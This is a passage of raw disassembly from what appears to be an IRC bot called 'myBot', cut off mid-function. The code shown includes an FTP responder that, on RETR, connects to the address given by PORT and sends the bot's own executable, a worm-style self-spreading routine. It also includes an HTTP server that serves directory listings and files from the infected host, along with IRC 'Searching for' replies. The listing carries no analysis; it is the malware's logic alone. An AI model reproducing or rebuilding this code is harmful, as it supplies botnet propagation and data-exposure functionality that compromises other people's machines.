eax lea eax, [ebp+var_124] push eax movsw call sub_417AB0 pop ecx push eax lea eax, [ebp+var_124] loc_4057A9: ; CODE XREF: sub_4053D5+423j push eax push [ebp+arg_0] call ebx ; send xor esi, esi loc_4057B1: ; CODE XREF: sub_4053D5+4F6j mov edi, [ebp+arg_0] jmp loc_4059AD ; --------------------------------------------------------------------------- loc_4057B9: ; CODE XREF: sub_4053D5+3ABj lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4057FA push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_417AB0 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_4057A9 ; --------------------------------------------------------------------------- loc_4057FA: ; CODE XREF: sub_4053D5+3F9j lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4058D0 lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_418A52 lea eax, [ebp+var_F8] push eax call sub_41781F mov edi, eax lea eax, [ebp+var_2D0] push eax call sub_41781F mov [ebp+var_8], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_417330 add esp, 34h lea eax, [ebp+var_F8] push [ebp+var_8] push edi push offset aXX ; "%x%x\n" push eax call sub_4172B0 push 10h lea eax, [ebp+var_F8] push esi push eax call sub_418A3B add esp, 1Ch mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_4172B0 add esp, 18h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+arg_0] call ebx ; send jmp loc_4057B1 ; --------------------------------------------------------------------------- loc_4058D0: ; CODE XREF: sub_4053D5+43Aj lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40598B push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_4059DB pop ecx cmp eax, 1 pop ecx jnz short loc_405981 call sub_405A58 cmp eax, 1 jnz loc_4059AD push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push dword_436F0C push eax lea eax, [ebp+var_8DC] push offset unk_42A128 push eax call sub_4172B0 add esp, 14h cmp [ebp+var_440], esi jnz short loc_405972 push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_40D679 add esp, 14h loc_405972: ; CODE XREF: sub_4053D5+578j lea eax, [ebp+var_8DC] push eax call sub_40BF6D pop ecx jmp short loc_4059AD ; --------------------------------------------------------------------------- loc_405981: ; CODE XREF: sub_4053D5+532j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_4059AA ; --------------------------------------------------------------------------- loc_40598B: ; CODE XREF: sub_4053D5+510j lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4059AD push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_4059AA: ; CODE XREF: sub_4053D5+28Bj ; sub_4053D5+2AFj ... push edi call ebx ; send loc_4059AD: ; CODE XREF: sub_4053D5+3DFj ; sub_4053D5+53Cj ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_417330 add esp, 0Ch loc_4059BF: ; CODE XREF: sub_4053D5+1E0j ; sub_4053D5+247j inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_405503 jmp loc_4054C8 ; --------------------------------------------------------------------------- loc_4059D1: ; CODE XREF: sub_4053D5+11Ej push 1 pop eax loc_4059D4: ; CODE XREF: sub_4053D5+D0j pop edi pop esi pop ebx leave retn 4 sub_4053D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059DB proc near ; CODE XREF: sub_4053D5+528p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 call near ptr 71AB3C22h nop push [ebp+arg_0] mov dword_436F08, eax mov [ebp+var_10], 2 call near ptr 71AB12F8h nop push [ebp+arg_4] mov [ebp+var_C], eax nop call near ptr 71AB1746h mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_436F08 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_405A53 push dword_436F08 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_405A53: ; CODE XREF: sub_4059DB+60j push 1 pop eax leave retn sub_4059DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A58 proc near ; CODE XREF: sub_4053D5+534p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call near ptr 2680000h nop lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_4179A8 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_405AEF test byte ptr [esi+0Ch], 10h jnz short loc_405AD3 push edi mov edi, 400h loc_405A9B: ; CODE XREF: sub_405A58+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_418A86 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_436F08 call near ptr 71AB1AF4h nop push 1 nop call near ptr 2630F90h test byte ptr [esi+0Ch], 10h jz short loc_405A9B pop edi loc_405AD3: ; CODE XREF: sub_405A58+3Bj push esi call sub_417900 pop ecx push dword_436F08 nop call near ptr 71AB1A6Dh call near ptr 71AB1836h nop push 1 pop eax loc_405AEF: ; CODE XREF: sub_405A58+35j pop esi leave retn sub_405A58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405AF2 proc near ; DATA XREF: sub_407252+333o ; sub_40EE72+54E8o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_417330 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_43AD98 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_405EDD mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_4407FC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_43ADC4 cmp eax, 0FFFFFFFFh jz loc_405EDD push 7FFFFFFFh push edi call dword_43ADC0 cmp eax, 0FFFFFFFFh jz loc_405EDD lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_43AE34 cmp eax, 0FFFFFFFFh jz loc_405EDD mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_405BC9: ; CODE XREF: sub_405AF2+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_43AD80 cmp eax, 0FFFFFFFFh jz loc_405ED8 xor esi, esi mov [ebp+var_4], esi loc_405BFF: ; CODE XREF: sub_405AF2+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_43AC90 test eax, eax jz loc_405EC3 cmp esi, [ebp+var_C] jnz short loc_405C81 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_43AE2C cmp eax, 0FFFFFFFFh jz loc_405EC3 xor ecx, ecx test ebx, ebx jbe short loc_405C53 lea edx, [ebp+var_134] loc_405C47: ; CODE XREF: sub_405AF2+15Fj cmp [edx], eax jz short loc_405C53 inc ecx add edx, 4 cmp ecx, ebx jb short loc_405C47 loc_405C53: ; CODE XREF: sub_405AF2+14Dj ; sub_405AF2+157j cmp ecx, ebx jnz short loc_405C70 cmp ebx, 40h jnb short loc_405C70 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_405C70: ; CODE XREF: sub_405AF2+163j ; sub_405AF2+168j cmp eax, [ebp+var_8] jbe loc_405EC3 mov [ebp+var_8], eax jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405C81: ; CODE XREF: sub_405AF2+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_417330 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_417330 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_43ADB0 test eax, eax jg short loc_405D14 push esi call dword_43AE30 xor ecx, ecx test ebx, ebx jbe loc_405EC3 lea eax, [ebp+var_134] loc_405CD3: ; CODE XREF: sub_405AF2+1EBj cmp [eax], esi jz short loc_405CE4 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405CD3 jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405CE4: ; CODE XREF: sub_405AF2+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405D08 lea eax, [ebp+ecx*4+var_134] loc_405CF2: ; CODE XREF: sub_405AF2+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405CF2 loc_405D08: ; CODE XREF: sub_405AF2+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405D14: ; CODE XREF: sub_405AF2+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_417330 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_417AB0 add esp, 10h test eax, eax jbe loc_405EC3 loc_405D42: ; CODE XREF: sub_405AF2+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_405DE7 mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_405DBB lea eax, [ebp+var_18F0] push eax call sub_417AB0 cmp eax, 5 pop ecx jbe short loc_405DBB mov eax, offset asc_42A3B4 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_417880 pop ecx pop ecx push eax call sub_417880 pop ecx pop ecx push eax call sub_418B6E push eax lea eax, [ebp+var_23C] push eax call sub_4179C0 add esp, 10h jmp short loc_405DD2 ; --------------------------------------------------------------------------- loc_405DBB: ; CODE XREF: sub_405AF2+27Fj ; sub_405AF2+291j lea eax, [ebp+var_18F0] push offset asc_42A3B0 ; "\r\n" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_405E06 loc_405DD2: ; CODE XREF: sub_405AF2+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_417330 add esp, 0Ch or esi, 0FFFFFFFFh loc_405DE7: ; CODE XREF: sub_405AF2+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_417AB0 cmp [ebp+arg_0], eax pop ecx jb loc_405D42 jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405E06: ; CODE XREF: sub_405AF2+2DEj xor ecx, ecx test ebx, ebx jbe short loc_405E50 lea eax, [ebp+var_134] loc_405E12: ; CODE XREF: sub_405AF2+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_405E23 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405E12 jmp short loc_405E53 ; --------------------------------------------------------------------------- loc_405E23: ; CODE XREF: sub_405AF2+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405E47 lea eax, [ebp+ecx*4+var_134] loc_405E31: ; CODE XREF: sub_405AF2+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405E31 loc_405E47: ; CODE XREF: sub_405AF2+336j dec ebx mov [ebp+var_138], ebx jmp short loc_405E53 ; --------------------------------------------------------------------------- loc_405E50: ; CODE XREF: sub_405AF2+318j mov esi, [ebp+var_4] loc_405E53: ; CODE XREF: sub_405AF2+32Fj ; sub_405AF2+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_405EBC lea eax, [ebp+var_360] push eax call sub_417AB0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_417AB0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_405EBC and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_43AE34 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_4060D0 add esp, 14h jmp short loc_405EC3 ; --------------------------------------------------------------------------- loc_405EBC: ; CODE XREF: sub_405AF2+369j ; sub_405AF2+38Fj push esi call dword_43AE30 loc_405EC3: ; CODE XREF: sub_405AF2+11Dj ; sub_405AF2+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_405BFF jmp loc_405BC9 ; --------------------------------------------------------------------------- loc_405ED8: ; CODE XREF: sub_405AF2+102j mov edi, [ebp+var_C] xor ebx, ebx loc_405EDD: ; CODE XREF: sub_405AF2+6Aj ; sub_405AF2+92j ... call dword_43AD2C push eax lea eax, [ebp+var_8F0] push offset unk_42A36C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_405F23 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_40D679 add esp, 14h loc_405F23: ; CODE XREF: sub_405AF2+40Cj lea eax, [ebp+var_8F0] push eax call sub_40BF6D pop ecx push edi call dword_43AE30 push [ebp+var_254] call sub_417078 pop ecx push ebx nop call near ptr 26302E2h pop edi pop esi pop ebx sub_405AF2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F4D proc near ; DATA XREF: sub_4060D0+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_417B30 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_405FB3 push offset aTextHtml ; "text/html" jmp short loc_405FB8 ; --------------------------------------------------------------------------- loc_405FB3: ; CODE XREF: sub_405F4D+5Dj push offset aApplicationOct ; "application/octet-stream" loc_405FB8: ; CODE XREF: sub_405F4D+64j lea eax, [ebp+var_9C] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call near ptr 26A0000h nop lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 2690000h nop lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_406031 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4172B0 add esp, 24h jmp short loc_406052 ; --------------------------------------------------------------------------- loc_406031: ; CODE XREF: sub_405F4D+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4172B0 add esp, 28h loc_406052: ; CODE XREF: sub_405F4D+E2j lea eax, [ebp+var_1654] push edi push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_43ADE8 cmp [ebp+var_A4], edi jnz short loc_406092 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_406A0D pop ecx pop ecx jmp short loc_4060AF ; --------------------------------------------------------------------------- loc_406092: ; CODE XREF: sub_405F4D+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_406387 add esp, 10h loc_4060AF: ; CODE XREF: sub_405F4D+143j push [ebp+var_44C] call dword_43AE30 push [ebp+var_B4] call sub_417078 pop ecx push edi nop call near ptr 26302E2h pop edi pop esi sub_405F4D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4060D0 proc near ; CODE XREF: sub_405AF2+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_417330 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_406106 push eax push offset aS_2 ; "\\%s" jmp short loc_40610F ; --------------------------------------------------------------------------- loc_406106: ; CODE XREF: sub_4060D0+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40610F: ; CODE XREF: sub_4060D0+34j lea eax, [ebp+var_10C] push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_417AB0 test eax, eax pop ecx jbe short loc_4061AA mov [ebp+arg_8], 2 loc_40613A: ; CODE XREF: sub_4060D0+D8j lea eax, [ebp+var_10C] push eax call sub_417AB0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40617A cmp [ebp+esi+var_10C], 25h jnz short loc_40617A cmp [ebp+esi+var_10B], 32h jnz short loc_40617A cmp [ebp+esi+var_10A], 30h jnz short loc_40617A inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_406194 ; --------------------------------------------------------------------------- loc_40617A: ; CODE XREF: sub_4060D0+7Aj ; sub_4060D0+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40618A push 5Ch pop eax jmp short loc_40618D ; --------------------------------------------------------------------------- loc_40618A: ; CODE XREF: sub_4060D0+B3j movsx eax, al loc_40618D: ; CODE XREF: sub_4060D0+B8j mov [ebp+ebx+var_210], al loc_406194: ; CODE XREF: sub_4060D0+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_417AB0 cmp esi, eax pop ecx jb short loc_40613A loc_4061AA: ; CODE XREF: sub_4060D0+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_2 ; "%s%s" push eax call sub_4172B0 lea eax, [ebp+var_314] push offset asc_42A660 ; "\n" push eax call sub_418B6E add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 26B0365h push 1 cmp eax, 10h pop esi jz short loc_4061FB cmp eax, 0FFFFFFFFh jnz short loc_4061FE push [ebp+arg_0] jmp loc_40627E ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_4060D0+11Cj mov [ebp+var_4], esi loc_4061FE: ; CODE XREF: sub_4060D0+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40620B mov [ebp+var_4], esi loc_40620B: ; CODE XREF: sub_4060D0+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_406289 cmp [ebp+arg_C], edi jz short loc_40627D lea eax, [ebp+var_314] push offset asc_42A65C ; "*" push eax call sub_4179D0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_4172B0 lea eax, [ebp+var_210] push eax call sub_406ACA add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_4172B0 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_4062D8 ; --------------------------------------------------------------------------- loc_40627D: ; CODE XREF: sub_4060D0+152j push ebx loc_40627E: ; CODE XREF: sub_4060D0+126j call dword_43AE30 jmp loc_406380 ; --------------------------------------------------------------------------- loc_406289: ; CODE XREF: sub_4060D0+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 26707CBh mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4062D8 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_4172B0 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 26B0000h push esi mov [ebp+var_330], eax nop call near ptr 2651922h loc_4062D8: ; CODE XREF: sub_4060D0+1ABj ; sub_4060D0+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_42A61C push eax call sub_4172B0 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_416D5C mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_4407F4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_405F4D push edi push edi nop call near ptr 26A0C0Ah mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_440804[ecx], eax jz short loc_406352 loc_406340: ; CODE XREF: sub_4060D0+280j cmp [ebp+var_318], edi jnz short loc_406380 push 5 nop call near ptr 2630F90h jmp short loc_406340 ; --------------------------------------------------------------------------- loc_406352: ; CODE XREF: sub_4060D0+26Ej push ebx call dword_43AE30 nop call near ptr 2670ADCh push eax lea eax, [ebp+var_8C4] push offset unk_42A5D4 push eax call sub_4172B0 lea eax, [ebp+var_8C4] push eax call sub_40BF6D add esp, 10h loc_406380: ; CODE XREF: sub_4060D0+1B4j ; sub_4060D0+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_4060D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406387 proc near ; CODE XREF: sub_405F4D+15Ap ; sub_40EE72+49C9p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_417330 mov edi, [ebp+arg_0] push offset asc_42A660 ; "\n" push edi call sub_418B6E add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4063E6 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41782A add esp, 14h jmp loc_4064E5 ; --------------------------------------------------------------------------- loc_4063E6: ; CODE XREF: sub_406387+3Aj cmp [ebp+arg_C], ebx push edi jz loc_4064CB call sub_417AB0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 push edi call sub_417AB0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 0Ch jmp short loc_4064E5 ; --------------------------------------------------------------------------- loc_4064CB: ; CODE XREF: sub_406387+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h loc_4064E5: ; CODE XREF: sub_406387+5Aj ; sub_406387+142j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 cmp [ebp+arg_C], ebx jz short loc_406580 push [ebp+arg_C] call sub_417AB0 cmp eax, 2 pop ecx jbe short loc_406580 push [ebp+arg_C] call sub_417AB0 sub eax, 3 pop ecx jz short loc_406531 loc_406525: ; CODE XREF: sub_406387+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_406531 dec eax jnz short loc_406525 loc_406531: ; CODE XREF: sub_406387+19Cj ; sub_406387+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_418C10 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 loc_406580: ; CODE XREF: sub_406387+180j ; sub_406387+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 26E0000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 26D0000h test eax, eax jz loc_406970 mov edi, 1FFh loc_4065AC: ; CODE XREF: sub_406387+5E3j cmp [ebp+var_388], ebx jz loc_406958 lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_406958 lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_406958 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 26C05EAh lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 26C0000h mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_406621 mov ecx, offset aAm ; "AM" loc_406621: ; CODE XREF: 